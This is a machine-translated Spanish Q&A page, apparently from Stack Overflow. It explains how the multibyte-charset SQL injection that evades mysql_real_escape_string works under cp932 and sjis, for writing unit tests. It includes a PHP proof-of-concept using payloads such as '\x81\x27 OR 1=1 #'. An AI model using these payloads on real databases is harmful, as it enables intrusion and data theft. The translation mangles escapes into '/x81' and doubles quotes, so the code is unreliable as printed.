una reales prevent paso pagina inyeccion injection hackear hacer example evitar ejemplos ejemplo como casos php mysql security encoding sql-injection

php - prevent - sql injection ejemplos reales



¿Cómo crear un ataque de inyección SQL con Shift-JIS y CP932? (1)

El diablo está en los detalles ... empecemos con cómo la respuesta en cuestión describe la lista de conjuntos de caracteres vulnerables:

Para que funcione este ataque, necesitamos la codificación que el servidor espera en la conexión para codificar '' como en ASCII, es decir, 0x27 y para tener algún carácter cuyo byte final sea ASCII / ie 0x5c . Como resultado, hay 5 de tales codificaciones soportadas en MySQL 5.6 por defecto: big5 , cp932 , gb2312 , gbk y sjis . Seleccionaremos gbk aquí .

Esto nos da un contexto: 0xbf5c se usa como ejemplo para gbk , no como el carácter universal que se debe usar para todos los 5 juegos de caracteres.
Sucede que la misma secuencia de bytes también es un carácter válido en big5 y gb2312 .

En este punto, su pregunta se vuelve tan fácil como esto:

¿Qué secuencia de bytes es un carácter válido en cp932 y sjis y termina en 0x5c ?

Para ser justos, la mayoría de las búsquedas de Google que probé para estos conjuntos de caracteres no dan ningún resultado útil. Pero encontré este archivo CP932.TXT , en el que si busca ''5c '' (con el espacio allí), saltará a esta línea:

0x815C 0x2015 # BARRA HORIZONTAL

Y tenemos un ganador! :)

Algunos documentos de Oracle confirman que 0x815c es el mismo personaje tanto para cp932 como para sjis y PHP también lo reconoce:

php > var_dump(mb_strlen("/x81/x5c", "cp932"), mb_strlen("/x81/x5c", "sjis")); int(1) int(1)

Aquí hay una secuencia de comandos PoC para el ataque:

<?php $username = ''username''; $password = ''password''; $mysqli = new mysqli(''localhost'', $username, $password); foreach (array(''cp932'', ''sjis'') as $charset) { $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES (''baz''), (''qux'')"); $input = "/x81/x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = ''{$input}'' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!/n"; } $mysqli->query("DROP DATABASE {$charset}_db"); }

Estoy escribiendo algunas pruebas unitarias para asegurar que mi código no sea vulnerable a la inyección de SQL bajo varios conjuntos de caracteres.

Según esta respuesta , puede crear una vulnerabilidad inyectando /xbf/x27 usando uno de los siguientes conjuntos de caracteres: big5 , cp932 , gb2312 , gbk y sjis

Esto se debe a que si su escape no está configurado correctamente, verá el 0x27 e intentará escapar de modo que se convierta en /xbf/x5c/x27 . Sin embargo, /xbf/x5c es en realidad un carácter en estos conjuntos de caracteres, por lo que la cita ( 0x27 ) se deja sin 0x27 .

Como he descubierto durante las pruebas, sin embargo, esto no es del todo cierto. Funciona para big5 , gb2312 y gbk pero ni 0xbf27 ni 0xbf5c son caracteres válidos en sjis y cp932 .

Ambos

mb_strpos("abc/xbf/x27def","''",0,''sjis'')

y

mb_strpos("abc/xbf/x27def","''",0,''cp932'')

Retorno 4 . es decir, PHP no ve /xbf/x27 como un solo carácter. Esto devuelve false para big5 , gb2312 y gbk .

También esto:

mb_strlen("/xbf/x5c",''sjis'')

Devuelve 2 (devuelve 1 para gbk ).

Entonces, la pregunta es: ¿hay otra secuencia de caracteres que haga que sjis y cp932 vulnerables a la inyección de SQL, o en realidad no son vulnerables en absoluto? o está mintiendo PHP, estoy completamente equivocado, y MySQL lo interpretará de manera totalmente diferente?